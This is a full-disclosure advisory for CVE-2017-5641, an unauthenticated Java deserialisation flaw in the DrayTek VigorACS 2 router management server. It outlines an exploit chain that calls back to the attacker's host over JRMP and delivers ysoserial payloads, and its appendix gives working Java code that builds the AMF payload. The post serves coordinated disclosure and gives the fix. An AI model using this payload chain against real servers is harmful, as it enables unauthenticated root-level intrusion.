Date: Thu, 19 Apr 2018 16:12:09 +0700
From: Pedro Ribeiro <pedrib@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [CVE-2017-5641] - DrayTek Vigor ACS 2 Java Deserialisation RCE

Hi all,

tl;dr DrayTek Vigor ACS server, a remote enterprise management system
for DrayTek routers, uses a vulnerable version of the Adobe / Apache
Flex Java library that has a deserialisation vulnerability. This can be
exploited by an unauthenticated attacker to achieve RCE as root / SYSTEM
on all versions until 2.2.2.

Full advisory is below, and a copy of it plus the exploit code is in my
repo https://github.com/pedrib/PoC/tree/master/exploits/acsPwn.

Thanks to Beyond Security SSD programme for helping me disclose this
vulnerability to the vendor. You can find details on their blog at
https://blogs.securiteam.com/index.php/archives/3681

====

>> DrayTek VigorACS 2 Unsafe Flex AMF Java Object Deserialization
>> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information
Security
=================================================================================
Disclosure: 18/04/2018 / Last updated: 19/04/2018


>> Background and summary
>From the vendor's website [1]:
"VigorACS 2 is a powerful centralized management software for Vigor
Routers and VigorAPs, it is an integrated solution for configuring,
monitoring, and maintenance of multiple Vigor devices from a single
portal. VigorACS 2 is based on TR-069 standard, which is an application
layer protocol that provides the secure communication between the server
and CPEs, and allows Network Administrator to manage all the Vigor
devices (CPEs) from anywhere on the Internet. VigorACS 2 Central
Management is suitable for the enterprise customers with a large scale
of DrayTek routers and APs, or the System Integrator who need to provide
a real-time service for their customer's DrayTek devices."

VigorACS is a Java application that runs on both Windows and Linux. It
exposes a number of servlets / endpoints under /ACSServer, which are
used for various functions of VigorACS, such as the management of
routers and firewalls using the TR-069 protocol [2].

One of the endpoints exposed by VigorACS, at /ACSServer/messabroker/amf,
is an Adobe/Apache Flex service that is reachable by the managed routers
and firewalls. This advisory shows that VigorACS uses a Flex version is
vulnerable to CVE-2017-5641 [3], a vulnerability related to unsafe Java
deserialization for Flex AMF objects, which can be abused to achieve
unauthenticated remote code execution as root under Linux or SYSTEM
under Windows.

This vulnerability was disclosed under Beyond Security SecuriTeam Secure
Disclosure (SSD) programme, which have provided assistance to the vendor
throughout the disclosure process [4].


>> Technical details:
Vulnerability: Unsafe Flex AMF Java Object Deserialization
CVE-2017-5641
Attack Vector: Remote
Constraints: None; exploitable by an unauthenticated attacker
Affected versions: confirmed on v2.2.1; earlier versions most likely
affected

By sending an HTTP POST request with random data to
/ACSServer/messagebroker/amf, the server will respond with a 200 OK and
binary data that includes:
 ...Unsupported AMF version XXXXX...

While in the server logs, a stack trace will be produced that includes
the following:
flex.messaging.io.amf.AmfMessageDeserializer.readMessage ...
flex.messaging.endpoints.amf.SerializationFilter.invoke ...
...

A quick Internet search revealed CVE-2017-5641 [3], which clearly states
in its description:
"Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not
restrict which types were allowed for AMF(X) object deserialization by
default. During the deserialization process code is executed that for
several known types has undesired side-effects. Other, unknown types may
also exhibit such behaviors. One vector in the Java standard library
exists that allows an attacker to trigger possibly further exploitable
Java deserialization of untrusted data. Other known vectors in third
party libraries can be used to trigger remote code execution."

Further reading in [5], [6] and [7] led to proof of concept code
(Appendix A) that creates a binary payload that can be exploited to
achieve remote code execution through unsafe Java deserialization.

A fully working exploit has been released with this advisory that works
in the following way:
a) sends an AMF binary payload to /ACSServer/messagebroker/amf as
described in [6] to trigger a Java Remote Method Protocol (JRMP) call
back to the attacker
b) receives the JRMP connection with ysoserial's JRMP listener [8]
c) configures ysoserial to respond with a CommonsCollections5 or
CommonsCollections6 payload, as a vulnerable version of Apache Commons
3.1 is in the Java classpath of the server
d) executes code as root / SYSTEM

The exploit has been tested against the Linux and Windows Vigor ACS
2.2.1, although it requires a ysoserial jar patched for multi argument
handling (a separate branch in [8], or alternative a ysoserial patched
with CommonsCollections5Chained or CommonsCollections6Chained - see [9]).

Appendix A contains the Java code used to generate the AMF payload that
will be sent in step a). This code is very similar to the one in [6],
and it is highly recommended to read that advisory by Markus Wulftange
of Code White for a better understanding of this vulnerability.

A copy of the Java source code in Appendix A, together with the actual
exploit code and the ysoserial patch needed to enable multi argument
handling can be fetched from [10].


>> Fix:
Upgrade to DrayTek VigorACS version 2.2.2 as per the vendor instructions
[11].


>> Appendix A:
===
import flex.messaging.io.amf.MessageBody;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.AmfMessageSerializer;
import java.io.*;

public class ACSFlex {
    public static void main(String[] args) {
        Object unicastRef = generateUnicastRef(args[0],
Integer.parseInt(args[1]));
        // serialize object to AMF message
        try {
            byte[] amf = new byte[0];
            amf = serialize((unicastRef));
            DataOutputStream os = new DataOutputStream(new
FileOutputStream(args[2]));
            os.write(amf);
            System.out.println("Done, payload written to " + args[2]);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new
sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new
sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);

        ActionMessage message = new ActionMessage();
        message.addBody(body);

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        AmfMessageSerializer serializer = new AmfMessageSerializer();

serializer.initialize(SerializationContext.getSerializationContext(),
out, null);
        serializer.writeMessage(message);

        return out.toByteArray();
    }
}
===


>> References:
[1] https://www.draytek.com/en/products/central-management/vigoracs-2/
[2]
https://www.draytek.com/en/faq/faq-vigoracs-si/vigoracs-2/how-to-register-a-cpe-to-vigoracs-2-server/
[3] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5641
[4] https://blogs.securiteam.com/index.php/archives/3681
[5] https://issues.apache.org/jira/browse/FLEX-35290
[6] http://codewhitesec.blogspot.ru/2017/04/amf.html
[7] https://github.com/mbechler/marshalsec
[8] https://github.com/frohoff/ysoserial
[9] https://github.com/frohoff/ysoserial/issues/71
[10] https://github.com/pedrib/PoC/tree/master/exploits/acsPwn
[11]
http://www.draytek.com.tw/ftp/ACS%202/Document/DrayTek_VigorACS%20V2.2.2_01release-note.pdf



================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>

-- 
Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist

pedrib@...il.com
PGP: 17EE 7884 06C9 DCA3 76A6 99E9 BC04 BAD1 DDF2 A2CE

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